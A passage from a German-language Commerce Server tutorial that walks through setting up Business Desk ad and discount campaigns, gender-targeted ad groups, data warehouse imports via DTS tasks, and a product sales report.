  1. Öffnen Sie über das Menü Start oder vom Desktop aus Business Desk – Retail.
  2. Klicken Sie im Modul "Kampagnen" auf Referenztabellen.

    Der Bildschirm Referenztabellen wird angezeigt.

  3. Klicken Sie im Bildschirm Referenztabellen im Bereich Branchencodes auf Neu.
  4. Geben Sie im Bereich Branchencodes des Bildschirms Referenztabellen im Feld Branchencode den Begriff Bücher ein, und klicken Sie anschließend auf Annehmen.
  5. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um den neuen Branchencode zu speichern und zum Bildschirm Commerce Server: Willkommen bei Business Desk zurückzukehren.

Der neue Branchencode wird gespeichert. Sie können nun verhindern, dass in derselben Website zwei Anzeigen von unterschiedlichen Buchhändlern platziert werden. Fahren Sie mit Schritt 2: Hinzufügen eines Kampagnenkunden fort.


Schritt 2: Hinzufügen eines Kampagnenkunden

  1. Klicken Sie im Modul "Kampagnen" auf Kampagnen-Manager.
  2. Klicken Sie im Bildschirm Kampagnen-Manager auf der Symbolleiste auf Neu, und wählen Sie anschließend in der Dropdownliste die Option Neue(r) Kunde/Kundin aus.

    Der Bildschirm Kampagnen-Manager – Neu (Kunde/Kundin) wird angezeigt.

  3. Führen Sie im Bildschirm Kampagnen-Manager – Neu (Kunde/Kundin) im Bereich Kundeneigenschaften folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie Bergverlag ein.
    Typ | Wählen Sie in der Dropdownliste die Option Werbungstreibender aus.
    Branche | Wählen Sie in der Dropdownliste die Option Bücher aus.
  4. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um den neuen Kunden zu speichern und zum Bildschirm Kampagnen-Manager zurückzukehren.

Der neue Kunde, Bergverlag, wird gespeichert und im Bildschirm Kampagnen-Manager angezeigt. Sie können nun eine neue Kampagne hinzufügen. Fahren Sie mit Schritt 3: Hinzufügen einer Kampagne fort.


Schritt 3: Hinzufügen einer Kampagne

  1. Wählen Sie im Bildschirm Kampagnen-Manager den Kundennamen Bergverlag aus.
  2. Klicken Sie im Bildschirm Kampagnen-Manager auf der Symbolleiste auf Neu, und wählen Sie dann in der Dropdownliste die Option Neue Kampagne aus.

    Der Bildschirm Kampagnen-Manager – Bergverlag – Neu (Kampagne) wird angezeigt.

  3. Führen Sie im Bildschirm Kampagnen-Manager – Bergverlag – Neu (Kampagne) im Bereich Kampagneneigenschaften folgende Schritte aus:
    Funktion | Aktion
    Kampagnenname | Geben Sie Bergbücher ein.
    Anfangsdatum | Wählen Sie aus dem Dropdownkalender den gestrigen Tag aus.
    Beendigungsdatum | Wählen Sie aus dem Dropdownkalender ein Datum des nächsten Monats aus.
    Status | Wählen Sie in der Dropdownliste die Option Aktiv aus.
  4. Führen Sie im Bereich Werbungs-/Kampagnenzielfestlegung folgende Schritte aus:
    Funktion | Aktion
    Zielsetzung von | Wählen Sie in der Dropdownliste die Option Werbeartikel aus.
    Geplant von | Wählen Sie in der Dropdownliste die Option Anforderungen aus.
  5. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Kampagne zu speichern und zum Bildschirm Kampagnen-Manager zurückzukehren.

Die Kampagne Bergbücher wird gespeichert und als Ziel auf Werbeartikelebene festgelegt. Sie können nun eine neue Anzeige erstellen und die Benutzer als Zielgruppe auswählen, bei denen die Anzeige angezeigt werden soll. Fahren Sie mit Lektion 2: Erstellen eines Zielausdrucks fort.


Lektion 2: Erstellen eines Zielausdrucks

Szenario: Sie möchten eine spezielle Werbeaktion für bestimmte Benutzergruppen einrichten. Verwenden Sie das Modul "Kampagnenausdrücke", um die Benutzergruppe zu definieren, die Sie als Ziel der Kampagne auswählen möchten. Sie können eine Anzeigen-, Direktsendungs- oder Preisnachlasskampagne gezielt für diese Gruppe erstellen.

In dieser Lektion werden Sie eine Anzeigenkampagne erstellen, deren Zielgruppe alle männlichen Kunden sind. In Kurs 1 von Lektion 5, "Adressieren der Produkte an Benutzer", haben Sie das Attribut Geschlecht definiert. An dieser Stelle können Sie die im Attribut Geschlecht enthaltenen Sitebegriffe Männlich und Weiblich verwenden, um die Anzeige gezielt auf die Benutzer abzustimmen.

In dieser Lektion werden Sie folgende Schritte ausführen:

  • Schritt 1: Erstellen eines Zielgruppenausdrucks
  • Schritt 2: Erstellen einer Zielgruppe
  • Schritt 3: Erstellen einer neuen Anzeige
  • Schritt 4: Vorschau der Anzeige
  • Schritt 5: Überprüfen des Status der zielgerichteten Anzeige
  • Schritt 6: Aktualisieren der Kampagne in der Retail-Site
  • Schritt 7: Überprüfen der Änderungen in der Retail-Site


Schritt 1: Erstellen eines Zielgruppenausdrucks

  1. Öffnen Sie über das Menü Start oder vom Desktop aus Business Desk – Retail.
  2. Klicken Sie im Modul "Kampagnen" auf Kampagnenausdrücke.

    Der Bildschirm Kampagnenausdrücke: Zielausdrücke wird angezeigt.

  3. Klicken Sie im Bildschirm Kampagnenausdrücke: Zielausdrücke auf der Symbolleiste auf Neu.

    Das Dialogfeld Zielausdruck wird angezeigt.

  4. Führen Sie im Dialogfeld Zielausdruck folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie MännlicheBenutzer ein, und klicken Sie anschließend auf Neu.
    Ziel basiert auf den folgenden Bedingungen
    • Linke Spalte – Klicken Sie in der Dropdownliste auf die Option Benutzerobjekt, auf Allgemeine Informationen und anschließend auf Geschlecht [Profildienst_SQLQuelle].
    • Mittlere Spalte – Wählen Sie in der Dropdownliste die Option ist gleich aus.
    • Rechte Spalte – Klicken Sie auf Auslassungsschaltfläche, um das Dialogfeld Wählen Sie einen Sitebegriff aus zu öffnen.

      Wählen Sie im Dialogfeld Wählen Sie einen Sitebegriff aus aus der Liste der Sitebegriffe die Option Männlich aus, und klicken Sie dann auf OK.

  5. Klicken Sie im Dialogfeld Zielausdruck auf Anwenden.
  6. Klicken Sie auf Speichern, um den Ausdruck zu speichern.

Der Ausdruck, der speziell auf männliche Benutzer abzielt, wird nun gespeichert. Fahren Sie mit Schritt 2: Erstellen einer Zielgruppe fort.


Schritt 2: Erstellen einer Zielgruppe

  1. Klicken Sie im Modul "Kampagnen" auf Zielgruppen.
  2. Klicken Sie im Bildschirm Zielgruppen auf der Symbolleiste auf Neu.

    Der Bildschirm Zielgruppe: Neu wird angezeigt.

  3. Führen Sie im Bildschirm Zielgruppe: Neu folgende Schritte aus:
    Funktion | Aktion
    Zielgruppenname | Geben Sie MännlicheGruppe ein.
    Ausdruck | Klicken Sie auf Neu, und wählen Sie dann in der Dropdownliste die Option MännlicheBenutzer aus.
    Aktion | Wählen Sie in der Dropdownliste die Option Erforderlich aus.
  4. Klicken Sie auf Annehmen.
  5. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Zielgruppe zu speichern und zum Bildschirm Zielgruppen zurückzukehren.

Die Zielgruppe MännlicheGruppe wurde mithilfe des Zielausdrucks MännlicheBenutzer erstellt. Fahren Sie mit Schritt 3: Erstellen einer neuen Anzeige fort.


Schritt 3: Erstellen einer neuen Anzeige

  1. Klicken Sie im Modul "Kampagnen" auf Kampagnen-Manager.
  2. Erweitern Sie im Bildschirm Kampagnen-Manager den Kundennamen Bergverlag, und wählen Sie dann Bergbücher aus.
  3. Klicken Sie im Bildschirm Kampagnen-Manager auf der Symbolleiste auf Neu, und wählen Sie dann in der Dropdownliste Neue Anzeige aus.

    Der Bildschirm Kampagnen-Manager – Bergverlag – Bergbücher – Neu (Anzeige) wird angezeigt.

  4. Führen Sie im Bildschirm Kampagnen-Manager – Bergverlag – Bergbücher – Neu (Anzeige) im Bereich Anzeigeneigenschaften folgende Schritte aus:
    Funktion | Aktion
    Anzeigenname | Geben Sie ZielMänner ein.
    Status | Wählen Sie in der Dropdownliste die Option Aktiv aus.
    Typ | Wählen Sie in der Dropdownliste die Option Bezahlte Anzeige aus.
    Anforderungen | Geben Sie 1000 ein.
    Anzeigelimit | Wählen Sie in der Dropdownliste die Option Keine aus.
    Branche | Wählen Sie in der Dropdownliste die Option Bücher aus.
  5. Führen Sie im Bereich Anzeigenziel folgende Schritte aus:
    Funktion | Aktion
    Seitengruppen Überprüfen Sie, ob das Kontrollkästchen Auf allen Seitengruppen anzeigen aktiviert ist.

    Wenn diese Option ausgewählt ist, wird die Anzeige auf allen Webseiten der Retail-Site angezeigt.
    Zielgruppen: Verfügbar | Wählen Sie MännlicheGruppe aus, und klicken Sie anschließend auf >, um die Gruppe in das Listenfeld Zugewiesen zu verschieben.
  6. Führen Sie einen Bildlauf nach unten durch, und führen Sie im Bereich Anzeigendarstellung folgende Schritte aus:
    Funktion | Aktion
    Größe | Wählen Sie in der Dropdownliste die Option Ganzes Banner (468 x 60) aus.
    Typ | Wählen Sie in der Dropdownliste die Option Bild aus.
    Bild-URL Geben Sie http://<Servername>/Retail/Images/catalog/Clockped.gif ein.

    Da es in diesem Szenario um ein fiktives Unternehmen geht, wird hierin eine GIF-Datei für Clocktower verwendet.
    Ziel-URL Geben Sie http://mspress.microsoft.de/mspress/default.asp ein.

    Da es in diesem Szenario um ein fiktives Unternehmen geht, führt der hierin verwendete URL die Benutzer zur Microsoft Press-Website.
    Alternativtext | Geben Sie Dies ist ein Banner für den Bergverlag ein.

Die Anzeige ist nun definiert. Fahren Sie mit Schritt 4: Vorschau der Anzeige fort, in dem Sie die neue Anzeige vor dem Senden an die Produktion zunächst in einer Vorschau darstellen.


Schritt 4: Vorschau der Anzeige

  1. Klicken Sie im Bildschirm Kampagnen-Manager – Bergverlag – Bergbücher – Neu (Anzeige) im Bereich Anzeigendarstellung auf Vorschau:

    Das Dialogfeld Vorschau wird angezeigt.

  2. Wählen Sie im Dialogfeld Vorschau die Option Ja, um den Kampagnenartikel zu speichern.

    Im Anzeigebereich unterhalb der Schaltfläche Vorschau wird eine Kopie der Anzeige angezeigt.

  3. Klicken Sie auf der Symbolleiste auf Zurück, um zum Bildschirm Kampagnen-Manager zurückzukehren.

Sie haben nun die Anzeige in einer Vorschau dargestellt. Fahren Sie mit Schritt 5: Überprüfen des Status der zielgerichteten Anzeige fort.


Schritt 5: Überprüfen des Status der zielgerichteten Anzeige

  1. Klicken Sie auf dem Bildschirm Kampagnen-Manager auf der Symbolleiste auf Suchen.
  2. Wählen Sie in der Dropdownliste Status des Abschnitts Suchen den Eintrag Alle aus, und klicken Sie dann auf Suchen.
  3. Erweitern Sie in der Liste Gefilterte Ansicht den Eintrag Bergverlag. Erweitern Sie dann den Eintrag Bergbücher, um zu überprüfen, ob die zielgerichtete Anzeige namens ZielMänner in der Liste aufgeführt ist.

Beachten Sie, dass die zielgerichtete Anzeige den Status Aktiv hat. Fahren Sie mit Schritt 6: Aktualisieren der Kampagne in der Retail-Site fort.


Schritt 6: Aktualisieren der Kampagne in der Retail-Site

  1. Klicken Sie im Modul "Kampagnen" auf Kampagnen veröffentlichen.

    Der Bildschirm Kampagnen veröffentlichen wird angezeigt.

  2. Wählen Sie im Bildschirm Kampagnen veröffentlichen im Feld Produktionsartikel die Option Advertising.
  3. Klicken Sie auf der Symbolleiste auf Veröffentlichen, um die Kampagne zu aktualisieren.

In einer entsprechenden Meldung wird angezeigt, dass die Kampagne aktualisiert wird. Die Anzeigenkampagne wird aktualisiert und kann nun gezielt die männlichen Benutzer der Retail-Site ansprechen.

Hinweis

  • Wenn das Dialogfeld Business Desk: Fehler angezeigt wird, klicken Sie auf OK.

Sie haben die Kampagne aktualisiert und auf der Retail-Site veröffentlicht. Fahren Sie mit Schritt 7: Überprüfen der Änderungen in der Retail-Site fort.


Schritt 7: Überprüfen der Änderungen in der Retail-Site

  1. Öffnen Sie die Retail-Site in Ihrem Browser. Geben Sie dazu in der Adresszeile von Internet Explorer http://<Servername>/Retail ein. <Servername> ist dabei der Name des Servers, der als Host für die Retail-Website fungiert. Wenn Sie den Namen des Servers nicht kennen, wenden Sie sich an Ihren Systemadministrator.

    Hinweis

    • Wenn der Willkommensbildschirm angezeigt wird, klicken Sie auf Klicken Sie hier, um sich als Gast anzumelden, um den Bildschirm für die Anmeldung zu öffnen.
  2. Klicken Sie unterhalb von Anmeldung auf Anmeldung, und führen Sie anschließend folgende Schritte aus:
    Funktion | Aktion
    Benutzername | Geben Sie JanineBenutzer ein.
    Kennwort | Geben Sie shazzam ein.
  3. Klicken Sie auf Absenden.

    Beachten Sie, dass die Anzeige diesmal nicht in der Retail-Site erscheint, da ihre Zielgruppe ja männliche Benutzer sind.

  4. Schließen Sie das Browserfenster.
  5. Öffnen Sie die Retail-Site in Ihrem Browser.

    Hinweis

    • Wenn der Willkommensbildschirm angezeigt wird, klicken Sie auf Klicken Sie hier, um sich als Gast anzumelden, um den Bildschirm für die Anmeldung zu öffnen.
  6. Klicken Sie unterhalb von Anmeldung auf Anmeldung, und führen Sie anschließend folgende Schritte aus:
    Funktion | Aktion
    Benutzername | Geben Sie JensBenutzer ein.
    Kennwort | Geben Sie kennwort ein.
  7. Klicken Sie auf Absenden.

    Die neue Anzeige wird in der Retail-Site angezeigt.

  8. Schließen Sie das Browserfenster.

Sie haben sich nun überzeugt, dass Ihre Anzeige nur für männliche Benutzer angezeigt wird. Fahren Sie mit Lektion 3: Erstellen einer Preisnachlasskampagne fort.


Lektion 3: Erstellen einer Preisnachlasskampagne

Szenario: Sie möchten einen Einführungsrabatt für alle Benutzer Ihres Onlinekatalogs einrichten. Dieser Rabatt soll jedoch nicht für bereits getätigte Einkäufe gelten. Das Modul "Kampagnen-Manager" ermöglicht das Erstellen von Preisnachlässen. Sie können ein oder mehrere Produkte festlegen, auf die der Preisnachlass angewendet wird, die Höhe des Preisnachlasses angeben und bestimmen, wie viele Artikel ein Benutzer kaufen muss, damit er den angegebenen Preisnachlass erhält.

In dieser Lektion werden Sie für Ihren Onlinekatalog eine Preisnachlasskampagne erstellen, die allen Benutzern einen Preisnachlass von 20 % auf alle Produkte anbietet.

In dieser Lektion werden Sie folgende Schritte ausführen:

  • Schritt 1: Erstellen eines Kampagnenartikels mit Preisnachlass
  • Schritt 2: Senden der Preisnachlasskampagne an die Retail-Site
  • Schritt 3: Überprüfen der Änderungen in der Retail-Site


Schritt 1: Erstellen eines Kampagnenartikels mit Preisnachlass

  1. Öffnen Sie über das Menü Start oder vom Desktop aus Business Desk – Retail.
  2. Klicken Sie im Modul "Kampagnen" auf Kampagnen-Manager.
  3. Erweitern Sie im Bildschirm Kampagnen-Manager den Eintrag Bergverlag, wählen Sie Bergbücher, klicken Sie auf der Symbolleiste auf Neu, und wählen Sie anschließend in der Dropdownliste die Option Neuer Preisnachlass aus.
  4. Führen Sie im Bildschirm Kampagnen-Manager – Bergverlag – Bergbücher – Neu (Preisnachlass) im Bereich Preisnachlasseigenschaften folgende Schritte aus:
    Funktion | Aktion
    Preisnachlassname | Geben Sie 20% siteübergreifender Preisnachlass ein.
    Status | Wählen Sie in der Dropdownliste die Option Aktiv aus.
    Anfangsdatum | Wählen Sie im Dropdownkalender das heutige Datum aus.
    Beendigungsdatum | Wählen Sie im Dropdownkalender ein Datum zwei Monate nach dem heutigen Tag aus.
  5. Führen Sie im Bereich Preisnachlassdefinition folgende Schritte aus:
    Funktion Aktion
    Kaufen Aktivieren Sie das Kontrollkästchen Alles.

    Wenn das Kontrollkästchen aktiviert ist, versucht das Preisnachlasssystem immer, den Preisnachlass anzuwenden.
    Abrufen
    • Erstes Feld – Stellen Sie sicher, dass für die betreffende Anzahl von Artikeln die Option Unbegr. aktiviert ist.
    • Zweites Feld – Wählen Sie in der Dropdownliste die Option [Jedes Produkt] aus.
    • Drittes Feld – Wählen Sie in der Dropdownliste die Option Prozent (%) aus.
    • Viertes Feld – Geben Sie die Zahl 20 ein.
  6. Führen Sie im Bereich Preisnachlassanzeige folgende Schritte aus:
    Funktion | Aktion
    Warenkorbanzeige | Geben Sie Es gilt ein Preisnachlass von 20% ein.
    Inhaltsgröße | Wählen Sie in der Dropdownliste die Option Halbes Banner aus.
    Inhaltstyp | Wählen Sie den Typ Bild aus.
    Bild-URL Geben Sie folgenden URL ein: http://<Servername>/Retail/Images/Catalog/MSPress.gif.

    Da es in diesem Szenario um ein fiktives Unternehmen geht, wird hierin eine GIF-Datei für Microsoft Press verwendet.
    Ziel-URL Geben Sie http://mspress.microsoft.de/mspress/default.asp ein.

    Da es in diesem Szenario um ein fiktives Unternehmen geht, führt der hierin verwendete URL die Benutzer zur Microsoft Press-Website.
    Alternativtext | Geben Sie Dies ist ein Banner für den Bergverlag ein.
  7. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um den Preisnachlass zu speichern und zum Bildschirm Kampagnen-Manager zurückzukehren.

Sie haben einen Preisnachlass von 20 % definiert, der in der Retail-Site nun auf alle Produkte des Bergverlags gewährt wird. Fahren Sie mit Schritt 2: Senden der Preisnachlasskampagne an die Retail-Site fort, in dem Sie die Preisnachlasskampagne in der Retail-Site veröffentlichen werden.


Schritt 2: Senden der Preisnachlasskampagne an die Retail-Site

  1. Klicken Sie im Modul "Kampagnen" auf Kampagnen veröffentlichen.
  2. Wählen Sie im Bildschirm Kampagnen veröffentlichen die Option Discounts aus, und klicken Sie dann auf der Symbolleiste auf Veröffentlichen.

Die Preisnachlasskampagne wird nun an die Retail-Site gesendet und aktiviert. Fahren Sie mit Schritt 3: Überprüfen der Änderungen in der Retail-Site fort.


Schritt 3: Überprüfen der Änderungen in der Retail-Site

  1. Öffnen Sie die Retail-Site in Ihrem Browser. Geben Sie dafür in der Adresszeile von Internet Explorer http://Servername/Retail ein. Servername ist dabei der Name des Computers, der als Host für Ihre Website fungiert. Wenn Sie den Namen des Servers nicht kennen, wenden Sie sich an Ihren Systemadministrator.
  2. Klicken Sie im linken Bereich unter der Option Anmeldung auf Anmeldung, und führen Sie anschließend folgende Schritte aus:
    Funktion | Aktion
    Benutzername | Geben Sie JensBenutzer ein.
    Kennwort | Geben Sie kennwort ein.
  3. Klicken Sie auf Absenden.
  4. Klicken Sie auf den Link Campingkarten, anschließend auf die Kategorie KartenBücher, und wählen Sie dann Wandern im Himalaya aus.

    Der Preis für das Buch beträgt 19,99 €.

  5. Klicken Sie auf die Option Zum Warenkorb hinzufügen.
  6. Klicken Sie in der Kopfzeile des Bildschirms auf Warenkorb.

    Auf den Endpreis wird ein Preisnachlass von 4,00 € gewährt. Dies entspricht einem Nachlass von 20 % auf den Einzelpreis.

  7. Schließen Sie das Browserfenster.

Sie haben überprüft, ob die Kampagne, bei der 20 % Preisnachlass gewährt wird, auf der Retail-Site aktiv ist. Fahren Sie mit Kurs 3: Analysieren der Produktverkäufe fort.


Kurs 3: Analysieren der Produktverkäufe

  • Voraussichtliche Dauer: 45 Minuten

Szenario: Da Ihre Site nun bereits seit einiger Zeit aktiv ist, möchten Sie wissen, wie oft am Tag Ihre Site aufgerufen wird und wie viele Campingartikel verkauft werden. Im Rahmen dieses Kurses importieren Sie Ihre Protokolldatei- und Transaktionsdaten und führen anschließend einen Bericht aus, um die Umsatzzahlen besser analysieren zu können.

Im Folgenden sind die Lektionen dieses Kurses aufgelistet. Die Lektionen bauen jeweils aufeinander auf, sodass sie in der vorgegebenen Reihenfolge durchgearbeitet werden sollten.

  • Lektion 1: Importieren von Daten aus Protokolldateien
  • Lektion 2: Ausführen eines dynamischen Berichts


Lektion 1: Importieren von Daten aus Protokolldateien

Diese Lektion muss von einem Systemadministrator bzw. einer Person ausgeführt werden, die Zugriff auf den Commerce Server-Computer sowie auf SQL Server Enterprise Manager hat. Wenn Sie kein Systemadministrator sind, lassen Sie die Schritte in dieser Lektion von Ihrem Systemadministrator ausführen. Nachdem die in dieser Lektion erklärten Schritte ausgeführt wurden, können Sie mit Lektion 2 dieses Kurses fortfahren.

In den ersten beiden Kursen dieses Lernprogramms wurden die Daten in den Protokolldateien für Ihre Site erfasst. Die Erfassung der Daten erfolgte durch Microsoft Internetinformationsdienste (IIS). In dieser Lektion werden Sie die Daten aus der Protokolldatei in Data Warehouse importieren und die Daten so verfügbar machen, dass der Businessmanager Berichte mithilfe von Business Desk ausführen kann.

In dieser Lektion führt ein Systemadministrator folgende Schritte aus:

  • Schritt 1: Synchronisieren des Data Warehouse mit der Anwendung
  • Schritt 2: Importieren der Webprotokolldateien
  • Schritt 3: Importieren der Transaktionsdaten
  • Schritt 4: Auffüllen der OLAP-Cubes mit den importierten Daten
  • Schritt 5: Ausführen der DTS-Tasks


Schritt 1: Synchronisieren des Data Warehouse mit der Anwendung

  1. Klicken Sie auf Start, zeigen Sie auf Programme, dann auf Microsoft SQL Server, und klicken Sie auf Enterprise Manager.
  2. Erweitern Sie im linken Bereich erst Microsoft SQL Servers, dann SQL Server-Gruppe und Servername (Windows NT) sowie Data Transformation Services, klicken Sie dann mit der rechten Maustaste auf Lokale Pakete und anschließend mit der linken Maustaste auf Neues Paket.
  3. Klicken Sie im Bildschirm 2: DTS-Paket: <Neues Paket> mit der rechten Maustaste in einen leeren Bereich, zeigen Sie auf Task hinzufügen, und wählen Sie anschließend aus der Dropdownliste die Option Konfigurationssynchronisation (Commerce Server) aus.
  4. Wählen Sie im Bildschirm Eigenschaften von DW-Synchronisierung im Feld Site des Bereichs Eigenschaften für Vorgänge die Option Retail aus, und klicken Sie anschließend auf OK.

    Hinweis

    • Ihre Anwendung und Data Warehouse werden erst synchronisiert, nachdem der in diesem Schritt ausgeführte DTS-Task (Data Transformation Services, DTS) abgeschlossen ist. Sie können einen DTS-Task einzeln ausführen, indem Sie im Menü Paket die Option Ausführen wählen. In diesem Szenario werden Sie jedoch in Schritt 5: Ausführen der DTS-Tasks alle DTS-Tasks gemeinsam ausführen.

Sie haben ein DTS-Taskpaket erstellt, welches das Data Warehouse mit Ihrer Anwendung synchronisiert. Fahren Sie mit Schritt 2: Importieren der Webprotokolldateien fort.


Schritt 2: Importieren der Webprotokolldateien

  1. Klicken Sie im Bildschirm 2: DTS-Paket: <Neues Paket> mit der rechten Maustaste in einen leeren Bereich, zeigen Sie auf Task hinzufügen, und wählen Sie anschließend aus der Dropdownliste die Option Import von Webserverprotokollen (Commerce Server) aus.
  2. Wählen Sie im Dialogfeld Eigenschaften für den Import von Webserverprotokollen im Feld Site des Bereichs Eigenschaften für Vorgänge die Option Retail aus der Dropdownliste aus.
  3. Wählen Sie im Dialogfeld Eigenschaften für den Import von Webserverprotokollen auf der Registerkarte Speicherorte der Protokolldateien in der Spalte Anwendung die Option <Computername>/retail, <Computername>/retailbizdesk aus.
  4. Geben Sie im Feld Protokolldateipfad den Pfad Laufwerk:\Winnt\System32\LogFiles\W3svc1 ein, und klicken Sie anschließend auf OK.

    Hinweise

    • Ihre Protokolldateien werden erst in das Data Warehouse importiert, wenn der in diesem Schritt ausgeführte DTS-Task abgeschlossen ist. Sie können einen DTS-Task einzeln ausführen, indem Sie im Menü Paket die Option Ausführen wählen. In diesem Szenario werden Sie jedoch in Schritt 5: Ausführen der DTS-Tasks alle DTS-Tasks gemeinsam ausführen.
    • Wenn der Administrator eines Produktionsservers die IIS-Protokolldateien in einem anderen als dem Standardordner speichert, lautet der Protokolldateipfad möglicherweise anders.

Sie haben nun ein DTS-Taskpaket zum Importieren der Webprotokolldateien erstellt. Fahren Sie mit Schritt 3: Importieren der Transaktionsdaten fort.


Schritt 3: Importieren der Transaktionsdaten

Transaktionsdaten werden in der Website erstellt, wenn ein Benutzer Artikel zum Warenkorb hinzufügt bzw. daraus entfernt oder einen Einkauf tätigt. In diesem Schritt importieren Sie die Transaktionsdaten für Ihre Site in das Data Warehouse.

Transaktionsdaten werden in der Transaktionsdatenbank von Commerce Server gespeichert. Zu diesen Daten gehören Bestellungen und Anforderungsnummern, mit denen in Analyseberichten bestimmt werden kann, wie gut sich bestimmte Produkte verkaufen, welche Mengen angefordert werden oder wie viel Ihre Kunden kaufen.

  1. Klicken Sie im Bildschirm 2: DTS-Paket: <Neues Paket> mit der rechten Maustaste in einen leeren Bereich, zeigen Sie auf Task hinzufügen, und wählen Sie anschließend die Option Import von Transaktionsdaten (Commerce Server) aus.
  2. Nehmen Sie im Dialogfeld Transaktionsimporteigenschaften die folgenden Einstellungen vor:
    Funktion | Aktion
    Beschreibung | Geben Sie Transaktionsdaten für meine Retail-Site ein.
    Vorgangsebene | Wählen Sie in der Dropdownliste die Option Siteebene aus.
    Sitename | Wählen Sie in der Dropdownliste die Option Retail aus.
    Verarbeitungsmodus Wählen Sie die Option Vollständig aus, um alle Transaktionsdaten zu importieren.

    Hinweis

    • Wenn Sie zum ersten Mal Transaktionsdaten in das Data Warehouse importieren, müssen Sie die Option Vollständig verwenden und einen vollständigen Import durchführen. Verwenden Sie nach dem Import von Transaktionsdaten die Option Inkrementell, um nur neue Daten, d. h. solche, die seit dem letzten Import von Transaktionsdaten erstellt wurden, zu importieren.
  3. Führen Sie im Bereich Eigenschaften für Wiederholungen folgende Schritte aus:
    Funktion Aktion
    Anzahl der Wiederholungen Geben Sie 10 ein.

    Hinweis

    • Die standardmäßige Anzahl der Wiederholungsversuche ist 10.
    Zeit zwischen Wiederholungen (Sek.) Geben Sie 30 ein.

    Hinweis

    • Das standardmäßige Zeitintervall beträgt 30 Sekunden.
  4. Klicken Sie auf OK.

    Hinweis

    • Die Benutzerprofildaten werden erst in das Data Warehouse importiert, wenn der in diesem Schritt ausgeführte DTS-Task abgeschlossen ist. Sie können einen DTS-Task einzeln ausführen, indem Sie im Menü Paket die Option Ausführen wählen. In diesem Szenario werden Sie jedoch in Schritt 5: Ausführen der DTS-Tasks alle DTS-Tasks gemeinsam ausführen.

Sie haben nun ein DTS-Taskpaket zum Importieren der Transaktionsdaten erstellt. Fahren Sie mit Schritt 4: Auffüllen der OLAP-Cubes mit den importierten Daten fort.


Schritt 4: Auffüllen der OLAP-Cubes mit den importierten Daten

  1. Klicken Sie im Bildschirm 2: DTS-Paket: <Neues Paket> mit der rechten Maustaste in einen leeren Bereich, zeigen Sie auf Task hinzufügen, und wählen Sie anschließend aus der Dropdownliste die Option Berichtsvorbereitung (Commerce Server) aus. Das Dialogfeld Berichtseigenschaften vorbereiten wird angezeigt.
  2. Vergewissern Sie sich, dass im Bereich Eigenschaften für Vorgänge des Dialogfelds Berichtseigenschaften vorbereiten in der Liste Sites die Option Retail angezeigt wird.
    Hinweis
    • Wenn die Retail-Site in der Liste Sites nicht aufgeführt ist, wählen Sie aus der Dropdownliste Data Warehouse für die Retail-Site ein anderes Data Warehouse aus.
  3. Wählen Sie im Feld Verarbeitungsmodus die Option Vollständig aus, und klicken Sie dann auf OK.

Sie haben nun ein DTS-Taskpaket erstellt, welches die OLAP-Cubes mit den importierten Daten auffüllt. Das Auffüllen der OLAP-Cubes mit den importierten Daten erfolgt jedoch erst, nachdem dieser Schritt vollständig ausgeführt wurde. Fahren Sie mit Schritt 5: Ausführen der DTS-Tasks fort, in dem Sie die vier DTS-Taskpakete gemeinsam ausführen werden.


Schritt 5: Ausführen der DTS-Tasks

  1. Halten Sie im Fenster 2: DTS-Paket: <Neues Paket> die STRG-Taste gedrückt, wählen Sie die vier DTS-Tasks von Commerce Server aus, und lassen Sie die STRG-Taste wieder los.

    Alle vier Symbole für die Commerce Server-DTS-Tasks sind nun ausgewählt.

  2. Klicken Sie im Menü Workflow auf Bei Beendigung.
  3. Klicken Sie im Menü Paket auf Ausführen.

    Daraufhin wird der Bildschirm Paket ausführen angezeigt. Durch eine Fortschrittsanzeige wird dargestellt, dass die Tasks ausgeführt werden.

  4. Nach der erfolgreichen Taskausführung wird das Dialogfeld Paketausführungsergebnisse angezeigt. Klicken Sie auf OK.
  5. Klicken Sie im Bildschirm Paket ausführen auf Fertig.
  6. Schließen Sie SQL Server Enterprise Manager, ohne das Paket zu speichern.

Mit diesen fünf Schritten erzielen Sie folgende Ergebnisse:

  • Die Daten aus den Protokolldateien werden in das Data Warehouse importiert.
  • Die OLAP-Cubes werden mit den importierten Daten aufgefüllt.
  • Die Transaktionsdaten werden in das Data Warehouse importiert.
  • Die Daten in Ihrem Data Warehouse werden nun mit der Anwendung synchronisiert.

In der folgenden Lektion wird anhand dieser Daten ein dynamischer Bericht erstellt. Fahren Sie mit Lektion 2: Ausführen eines dynamischen Berichts fort.


Lektion 2: Ausführen eines dynamischen Berichts

Szenario: Um festzustellen, wie gut sich bestimmte Produkte verkaufen, welche Mengen angefordert werden oder wie viel Ihre Kunden kaufen, können Sie einen Produktverkaufsbericht ausführen.

Sie können einen dynamischen Bericht im Berichtsmodul ausführen oder die automatische und regelmäßige Ausführung von Berichten planen. Dynamische Berichte werden in Sekundenschnelle ausgeführt und erscheinen unmittelbar in einem eigenen Browserfenster als PivotTable-Bericht.

In dieser Lektion werden Sie folgende Schritte ausführen:

  • Schritt 1: Ausführen des Berichts "Produktverkäufe"


Schritt 1: Ausführen des Berichts "Produktverkäufe"

Mithilfe des Berichts "Produktverkäufe" können Sie das Volumen von Produktverkäufen und Einnahmen nach Datum untersuchen. Dieser Bericht zeigt die Gesamtmenge und die Gesamteinnahmen für jede Produktkategorie an.

  1. Öffnen Sie Business Desk – Retail entweder über das Menü Start oder vom Desktop aus.
  2. Klicken Sie im Menü Analyse auf Berichte.
  3. Klicken Sie im Bildschirm Berichte auf der Symbolleiste auf Suchen.
  4. Führen Sie im Bereich Suchen folgende Schritte aus:
    Funktion | Aktion
    Suchen nach | Wählen Sie in der Dropdownliste die Option Name aus.
    Name | Geben Sie Produktverkäufe ein.
  5. Klicken Sie auf Suchen.
  6. Wählen Sie im Bereich Suchen im Abschnitt Gefilterte Ansicht den Bericht Produktverkäufe aus, und klicken Sie anschließend auf der Symbolleiste auf Ausführen, um den Bericht auszuführen.

Der Bericht wird ausgeführt und in einem neuen Browserfenster als PivotTable angezeigt.

Damit sind die Kurse des Business-To-Consumer-Lernprogramms beendet. Sie haben nun alle Lektionen zum Einrichten einer Business-to-Consumer-Retail-Site ausgeführt.


Business-To-Business-Lernprogramm

